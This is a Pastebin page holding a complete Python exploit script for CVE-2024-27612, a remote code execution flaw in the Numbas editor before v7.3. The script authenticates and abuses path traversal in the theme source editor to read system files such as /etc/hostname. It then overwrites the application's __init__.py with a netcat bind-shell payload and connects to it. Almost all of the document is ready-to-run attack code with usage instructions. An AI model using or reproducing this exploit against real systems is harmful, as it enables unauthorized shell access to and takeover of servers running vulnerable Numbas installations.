Advertisement
FlyFar

Numbas < v7.3 - Remote Code Execution - CVE-2024-27612

Mar 12th, 2024
1,107
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 5.83 KB | Cybersecurity | 0 0
  1. # Exploit Title: Numbas < v7.3 - Remote Code Execution
  2. # Google Dork: N/A
  3. # Date: March 7th, 2024
  4. # Exploit Author: Matheus Boschetti
  5. # Vendor Homepage: https://www.numbas.org.uk/
  6. # Software Link: https://github.com/numbas/Numbas
  7. # Version: 7.2 and below
  8. # Tested on: Linux
  9. # CVE: CVE-2024-27612
  10.  
  11. import sys, requests, re, argparse, subprocess, time
  12. from bs4 import BeautifulSoup
  13.  
  14. s = requests.session()
  15.  
  16. def getCSRF(target):
  17.     url = f"http://{target}/"
  18.     req = s.get(url)
  19.     soup = BeautifulSoup(req.text, 'html.parser')
  20.     csrfmiddlewaretoken = soup.find('input', attrs={'name': 'csrfmiddlewaretoken'})['value']
  21.     return csrfmiddlewaretoken
  22.  
  23. def createTheme(target):
  24.     # Format request
  25.     csrfmiddlewaretoken = getCSRF(target)
  26.     theme = 'ExampleTheme'
  27.     boundary = '----WebKitFormBoundaryKUMXsLP31HzARUV1'
  28.     data = (
  29.         f'--{boundary}\r\n'
  30.         'Content-Disposition: form-data; name="csrfmiddlewaretoken"\r\n'
  31.         '\r\n'
  32.         f'{csrfmiddlewaretoken}\r\n'
  33.         f'--{boundary}\r\n'
  34.         'Content-Disposition: form-data; name="name"\r\n'
  35.         '\r\n'
  36.         f'{theme}\r\n'
  37.         f'--{boundary}--\r\n'
  38.     )
  39.     headers = {'Content-Type': f'multipart/form-data; boundary={boundary}',
  40.                'User-Agent': 'Mozilla/5.0',
  41.                'Accept': '*/*',
  42.                'Connection': 'close'}
  43.  
  44.     # Create theme and return its ID
  45.     req = s.post(f"http://{target}/theme/new/", headers=headers, data=data)
  46.     redir = req.url
  47.     split = redir.split('/')
  48.     id = split[4]
  49.     print(f"\t[i] Theme created with ID {id}")
  50.     return id
  51.  
  52. def login(target, user, passwd):
  53.     print("\n[i] Attempting to login...")
  54.  
  55.     csrfmiddlewaretoken = getCSRF(target)
  56.     data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
  57.             'username': user,
  58.             'password': passwd,
  59.             'next': '/'}
  60.    
  61.     # Login
  62.     login = s.post(f"http://{target}/login/", data=data, allow_redirects=True)
  63.     res = login.text
  64.     if("Logged in as" not in res):
  65.         print("\n\n[!] Login failed!")
  66.         sys.exit(-1)
  67.  
  68.     # Check if logged and fetch ID
  69.     usermatch = re.search(r'Logged in as <strong>(.*?)</strong>', res)
  70.     if usermatch:
  71.         user = usermatch.group(1)
  72.         idmatch = re.search(r'<a href="/accounts/profile/(.*?)/"><span class="glyphicon glyphicon-user">', res)
  73.         if idmatch:
  74.             id = idmatch.group(1)
  75.             print(f"\t[+] Logged in as \"{user}\" with ID {id}")
  76.  
  77. def checkVuln(url):
  78.     print("[i] Checking if target is vulnerable...")
  79.  
  80.     # Attempt to read files
  81.     themeID = createTheme(url)
  82.     target = f"http://{url}/themes/{themeID}/edit_source?filename=../../../../../../../../../.."
  83.     hname = s.get(f"{target}/etc/hostname")
  84.     ver = s.get(f"{target}/etc/issue")
  85.     hnamesoup = BeautifulSoup(hname.text, 'html.parser')
  86.     versoup = BeautifulSoup(ver.text, 'html.parser')
  87.     hostname = hnamesoup.find('textarea').get_text().strip()
  88.     version = versoup.find('textarea').get_text().strip()
  89.     if len(hostname) < 1:
  90.         print("\n\n[!] Something went wrong - target might not be vulnerable.")
  91.         sys.exit(-1)
  92.     print(f"\n[+] Target \"{hostname}\" is vulnerable!")
  93.     print(f"\t[i] Running: \"{version}\"")
  94.  
  95.     # Cleanup - delete theme
  96.     print(f"\t\t[i] Cleanup: deleting theme {themeID}...")
  97.     target = f"http://{url}/themes/{themeID}/delete"
  98.     csrfmiddlewaretoken = getCSRF(url)
  99.     data = {'csrfmiddlewaretoken':csrfmiddlewaretoken}
  100.     s.post(target, data=data)
  101.  
  102.  
  103. def replaceInit(target):
  104.     # Overwrite __init__.py with arbitrary code
  105.     rport = '8443'
  106.     payload = f"import subprocess;subprocess.Popen(['nc','-lnvp','{rport}','-e','/bin/bash'])"
  107.     csrfmiddlewaretoken = getCSRF(target)
  108.     filename = '../../../../numbas_editor/numbas/__init__.py'
  109.     themeID = createTheme(target)
  110.     data = {'csrfmiddlewaretoken': csrfmiddlewaretoken,
  111.             'source': payload,
  112.             'filename': filename}
  113.  
  114.     print("[i] Delivering payload...")
  115.     # Retry 5 times in case something goes wrong...
  116.     for attempt in range(5):
  117.         try:
  118.             s.post(f"http://{target}/themes/{themeID}/edit_source", data=data, timeout=10)
  119.         except Exception as e:
  120.             pass
  121.    
  122.     # Establish connection to bind shell
  123.     time.sleep(2)
  124.     print(f"\t[+] Payload delivered, establishing connection...\n")
  125.     if ":" in target:
  126.         split = target.split(":")
  127.         ip = split[0]
  128.     else:
  129.         ip = str(target)
  130.     subprocess.Popen(["nc", "-n", ip, rport])
  131.     while True:
  132.         pass
  133.  
  134.  
  135. def main():
  136.     parser = argparse.ArgumentParser()
  137.     if len(sys.argv) <= 1:
  138.         print("\n[!] No option provided!")
  139.         print("\t- check: Passively check if the target is vulnerable by attempting to read files from disk\n\t- exploit: Attempt to actively exploit the target\n")
  140.         print(f"[i] Usage: python3 {sys.argv[0]} <option> --target 172.16.1.5:80 --user example --passwd qwerty")
  141.         sys.exit(-1)
  142.  
  143.     group = parser.add_mutually_exclusive_group(required=True)
  144.     group.add_argument('action', nargs='?', choices=['check', 'exploit'], help='Action to perform: check or exploit')
  145.     parser.add_argument('--target', help='Target IP:PORT')
  146.     parser.add_argument('--user', help='Username to authenticate')
  147.     parser.add_argument('--passwd', help='Password to authenticate')
  148.     args = parser.parse_args()
  149.     action = args.action
  150.     target = args.target
  151.     user = args.user
  152.     passwd = args.passwd
  153.  
  154.     print("\n\t\t-==[ CVE-2024-27612: Numbas Remote Code Execution (RCE) ]==-")
  155.    
  156.     if action == 'check':
  157.         login(target, user, passwd)
  158.         checkVuln(target)
  159.     elif action == 'exploit':
  160.         login(target, user, passwd)
  161.         replaceInit(target)
  162.     else:
  163.         sys.exit(-1)
  164.  
  165.  
  166. if __name__ == "__main__":
  167.     main()
  168.            
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement